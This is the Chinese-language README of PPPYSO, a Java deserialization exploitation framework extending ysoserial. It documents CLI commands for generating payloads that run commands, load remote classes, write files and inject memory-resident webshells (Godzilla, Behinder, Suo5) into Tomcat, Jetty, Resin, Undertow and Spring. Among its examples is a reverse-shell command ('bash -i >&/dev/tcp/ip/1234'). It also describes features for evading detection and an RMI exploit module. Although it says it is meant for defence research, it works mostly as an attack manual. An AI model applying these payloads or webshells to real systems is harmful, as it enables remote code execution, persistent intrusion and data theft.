Awesome
PPPYSO
By. Whoopsunix
🌏 Begin
-
🗿 PPPYSO 是一个Java 反序列化概念验证框架,仅为安全防护研究提供参考,所以不会开放任何绕过性质的研究成果,并且不保证稳定性。基于子项目 JavaRce 实现,最终目的是实现 RASP 层面的拦截。
-
👏 欢迎 issue
框架分模块构建,每个模块通过一个 Helper 来管理生成内容,可以根据配置生成各种增强 Payload,通过动态代理的方式实现 JavaClass 增强减少依赖的同时兼容 javax/jakarta
标准。包含以下模块:
反序列化模块
参考 Marshalling Pickles 中提到的 gadget chain 概念,将 ysoserial 原先的调用链拆分为入口点 (kick-off), 触发点 (sink),其余为中间的调用链 (chain),针对各个部分针对性增强。
-
InvokerTransformer
功能增强 -
TemplatesImpl
JavaClass增强、AbstractTranslet 可选移除、_bytecodes 特征消除 - rome、rometools 兼容
- 修改 serialVersionUID 兼容多版本,eg. Cb 支持 [1.8.3 | 1.6 | 1.5]
- 二次反序列化增强
- JavaClass 信息消除:随机类名、移除源文件信息、移除源文件信息等可能暴露来源的信息。
- JDK6 兼容输出
JavaClass 模块
基于子项目 JavaRce ,在实现上不同。PPPYSO 中通过动态代理的方式实现内存马,减少依赖的同时兼容 javax/jakarta 标准。JavaClass 动态类名、内存马、Rce 回显。
- Loader + Proxy 积极测试兼容中
- 兼容 javax/jakarta 标准
- 结果增强输出,eg. SPEL+FreeMarker
- 高版本 JDK 下 SPEL 注入
- 功能增强积极增加中 Exec、Godzilla、Behinder、Sou5
- Unsafe 实现 JDK 17+ 字节码加载(name module 反射限制绕过)
Common 模板
实现序列化数据的加解密、序列化等功能
- 序列化:原生、XStream、HexAscii
- 序列化类型:UTF8Mix 2 3 字节转换
- 支持组合结果输出:文件、Base64、GZIP,eg. gzip,base64
Exploit 模块
- 缓慢移植
交互
目前支持 CLI、Yaml 配置,通过
直接运行生成模板配置文件(写了就放着了不准备维护),并展示支持的调用链
WIKI 里调用链的分析比较久远也可以看看,之后有时间会尽量补全 gadget chain 图
Cli 通过 java -jar PPPYSO-{version}-jar-with-dependencies.jar -g Coherence1 {-h | -help}
获取帮助信息
编译
项目完全开源,可直接下载 Release 版本,或自行编译,编译成功后在 scheduler/target 下生成 PPPYSO-${version}-jar-with-dependencies.jar
# 安装依赖
mvn clean
# 打包
mvn clean package -Dmaven.test.skip
mvn clean package -DskipTests
0x01 URLDNS 增强
-g URLDNS
-host
-dp
-cn
-ds
URLDNS 支持组件利用链探测和类探测,还在完善中
组件探测
组件探测参考 Urldns 项目实现,改了一些类可以通过 -show
展示目前规则已写的类
-dp
指定组件,all
探测所有
eg. -g URLDNS -host 7ox24q.dnslog.cn -dp "all"
类探测
-cn
指定探测的全限定类名-ds
指定对应的子域名
eg. -g URLDNS -host 4hu16z.dnslog.cn -cn "com.ppp.DNSTest" -ds "pppyso"
0x02 增强功能
通过 -e | -enchant
指定增强类型,所有指令忽略大小写
通过 java -jar PPPYSO-{version}-jar-with-dependencies.jar -g commonscollections1 -show
获取调用链支持的增强功能,指令均忽略大小写。
Command 命令执行
-e command
-cmd {whoami}
-cmdt {ScriptEngine}
-split
-cmd
输入命令-cmdt
命令执行类型-split
参数会将命令拆分为String[3]
数组,用这个参数相当于可以指定执行命令所需的终端
eg. -g commonscollections1 -e command -cmd "bash -c bash -i >&/dev/tcp/ip/1234 0>&1" -split
ScriptEngine
通过 -cmdt
参数指定命令执行类型为 ScriptEngine
eg. -g commonscollections2 -e command -cmd "open -a Calculator.app" -cmdt ScriptEngine
-code
支持自定义 js 语句
eg. -g commonscollections2 -e command -cmdt ScriptEngine -code "x=new java.lang.ProcessBuilder;x.command('open','-a','Calculator.app');x.start();"
-cf
对于InvokerTransformer
增强的链支持从文件中获取复杂语句
eg. -g commonscollections2 -e command -cmdt ScriptEngine -cf code.txt
Delay 延时
-e delay
-dt {/s}
-dt
指定延时时间 /s
eg. -g commonscollections2 -e delay -dt 5
Socket 发起 socket 请求
-e socket
-host {ip:port}
-host
指定需要发起 socket 请求的地址,用来测试是调用链被 ban 了还是限制了执行命令。
eg. -g commonscollections2 -e socket -host 127.0.0.1:1234
RemoteLoad 远程加载
-e RemoteLoad
-url
-cn
-ctor
-url
指定远程地址-cn
指定远程加载的类名
eg. -g commonscollections2 -e RemoteLoad -url http://127.0.0.1:1234/ClassLoad-1.0.jar -cn org.example.Exec
-ctor
指定需要参数的构造方法,支持Int | String
类型
FileWrite 文件写入
-e FileWrite
-sfp
-lfp
-fc
-append
-split
-part
-sfp
指定写入远程文件的地址-fc
指定需要写入的内容-lfp
从本地读取文件-append
追加写入文件
eg. -g commonscollections1 -e FileWrite -sfp /tmp/1.jsp -fc 123456
-append
追加写入
-split
设置文件分片后生成, -part
指定每个分片的大小,默认 100kb。不过该功能不建议用在 TemplatesImpl
增强的链,用 Base64 编码只能分片很小。
eg. -g commonscollections1 -e FileWrite -sfp /tmp/itest -lfp /tmp/iox -split -part 1000
0x03 JavaClass 增强
继承 AbstractTranslet
-ext
参数指定TemplatesImpl
增强的类继承 AbstractTranslet
自定义加载
-e JavaClass
-jht Custom
-jfp {filePath}
-jht Custom -jfp
可以选择加载自定义的 JavaClass,.class 文件或者形如yv66vg
开头的 base64 加密
eg. -g Fastjson -e JavaClass -jht Custom -jfp testms
Rce 回显
通过线程遍历 request 对象实现回显目前测试如下
Version | Auto Version (正在针对实际环境优化中..) | |
---|---|---|
Tomcat | 6-9 | 5-11 |
Spring | ||
Resin | [4.0.52, 4.0.66] | |
Jetty |
-e JavaClass -jht RceEcho
指定为 Rce 回显-mw
参数指定中间件-jt
指定回显的实现方式,可通过AutoFind
使用线程遍历寻找 request(实测优化中..)
可选参数默认都是随机生成的,也可以指定
-fheader
指定接收命令的 header key-frheader
指定命令输出在哪个响应头中,因为实际测试发现 body 很多时候是没法回显了,所以干脆输出到头
-e JavaClass
-jht RceEcho
-mw [Tomcat | Jetty ...]
-jt [AutoFind | Default]
-fheader
-frheader
eg. -g commonscollections2 -e JavaClass -jht RceEcho -mw Tomcat -o base64
内存马
内存马这部分的内容还没经过实际环境测试,采用 Loader + Proxy 的方式编写
-e JavaClass
-jht MemShell
-mw [Tomcat | Jetty ...]
-ms [Servlet | Listener | Filter ...]
-msf [Exec | Godzilla ...]
-jt [AutoFind]
-mt [Raw]
-fname
-fheader
-frheader
-fpath
-fkey
-fpass
-flk
-flv
-e JavaClass -jht MemShell
指定为内存马-mw
指定中间件-ms
指定内存马类型-msf
指定内存马功能-jt
指定内存马上下文的获取方式,目前计划实现自动线程遍历寻找 request,可通过AutoFind
触发-mt
指定内存马实现方式,目前只适配了 Spring Interceptor Godzilla Raw
可选参数默认都是随机生成的,也可以指定
-fname
指定内存马名称-fheader
指定接收命令的 header key-frheader
指定命令输出在哪个响应头中,因为实际测试发现 body 很多时候是没法回显了,所以干脆输出到头-fpath
指定路径-fkey
指定内存马密钥-fpass
指定内存马密码-flk
、-flv
指定触发内存马需要的 K-V 值,Contains 关系,比如 User-Agent 中需要存在Whoopsunix
。
remarks | Exec | Godzilla | Behinder | Suo5(todo jakarta) | Version Test | Auto Version Test | |
---|---|---|---|---|---|---|---|
Tomcat Servlet | ✔ | ✔ | ✔ | ✔ | 7-11 | ||
Tomcat Filter | ✔ | ✔ | ✔ | ✔ | 7-11 | ||
Tomcat Listener | ✔ | ✔ | ✔ | ✔ | 6.0.35, [7.0.59, 7.0.109], 8, 9, 10 | 5-11 | |
Tomcat Executor | 通过 Header 交互, Thread Auto Find | ✔ | 8, 9 | ||||
Tomcat Valve | 动态代理没有经过实战测试 | ✔ | ✔ | ✔ | 8 | ||
Resin Servlet | ✔ | ✔ | ✔ | ✔ | [4.0.52, 4.0.66] | ||
Resin Filter | ✔ | ✔ | ✔ | ✔ | [4.0.52, 4.0.66] | ||
Resin Listener | ✔ | ✔ | ✔ | ✔ | [4.0.52, 4.0.66] | ||
Jetty Listener | ✔ | ✔ | ✔ | ✔ | 9, 10 | 7-11 | |
Undertow Servlet | ✔ | ✔ | ✔ | ✔ | 2.2.25.Final | ||
Undertow Listener | ✔ | ✔ | ✔ | ✔ | 2.2.25.Final | ||
Undertow Filter | ✔ | ✔ | ✔ | ✔ | 2.2.25.Final | ||
Spring Controller | ✔ | 5.3.28 | |||||
Spring Interceptor | ✔ | ✔ Raw | 5.3.28 |
eg. -g commonscollections2 -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -o base64
LocalLoad 本地字节码加载
InvokerTransformer
增强的链子也提供了加载字节码的方式,默认采用 ScriptEngineManager,也可以选择(换汤不换药 懒得删了) org.mozilla.javascript.DefiningClassLoader.defineClass()
-lf [Default | RHINO]
eg. -g commonscollections1 -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -o base64 -lf rhino
JavaClass 封装
JavaClass 也可以单独生成,并且提供加密封装
-je [Script | SPEL | FreeMarker]
-jme [JDK17]
-je
指定封装方式,支持组合封装 eg.SPEL,FreeMarker
-jme
JavaClass 创建增强逻辑,之后考虑是否太麻烦了移除,目前有 SPEL JDK17 封装
eg. -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -je FreeMarker
eg. 某 FreeMarker 高版本 JDK 环境利用 -e JavaClass -jht MemShell -mw Spring -ms Interceptor -msf Godzilla -je SPEL,FreeMarker -jme JDK17 -mt raw
0x04 Common 模块
输出
-o [Default | GZIP | Base64]
-st [Default | XStream | HexAscii | UTF8Mix]
-save
-close
-save
指定结果输出到哪个文件-close
关闭除结果外的其他输出-o
指定输出方式,支持按顺序组合输出,eg.-g commonscollections1 -cmd "open -a Calculator.app" -o gzip,base64
序列化类型
-st
指定序列化输出类型,eg.-g commonscollections1 -cmd "open -a Calculator.app" -st UTF8Mix
0x05 其他增强
CB serialVersionUID 冲突
暂时兼容CB,通过 -cb
参数指定,可选 [1.8.3 | 1.6 | 1.5]
,默认 > 1.9.0 的 serialVersionUID
eg. -g CommonsBeanutils1 -cmd "open -a Calculator.app" -cb 1.8.3
指令 | CB 版本 | serialVersionUID |
---|---|---|
>= 1.9.0 | -2044202215314119608 | |
1.8.3 | 1.7.0 <= <= 1.8.3 | -3490850999041592962 |
1.6 | >= 1.6 or = 20030211.134440 | 2573799559215537819 |
1.5 | >= 1.5 or 20021128.082114 > 1.4.1 | 5123381023979609048 |
二次反序列化
-wrap
指令进行 SignedObject 二次反序列化封装,主要还是出现在 CTF 题,所以只在 ROME 链打了个样
eg. -g ROME -cmd "open -a Calculator.app" -wrap
Rome Rometools
-gd [rome | rometools]
-gd
指定 rome 的依赖包 eg.-g ROME -cmd "open -a Calculator.app" -gd rometools
0x06 Exploit 模块
在 gadget 增强的前面拼接 exp 使用该模块 ,exp -show
查看支持的 EXP
eg. exp RMIRegistryExploit -g CommonsCollections2 -cmd "open -a Calculator.app" -ehost 127.0.0.1 -eport 1099
Thanks
感谢师傅们的研究,有很大的帮助 :)
@BeichenDream GodzillaMemoryShellProject
@cckuailong JNDI-Injection-Exploit-Plus
https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/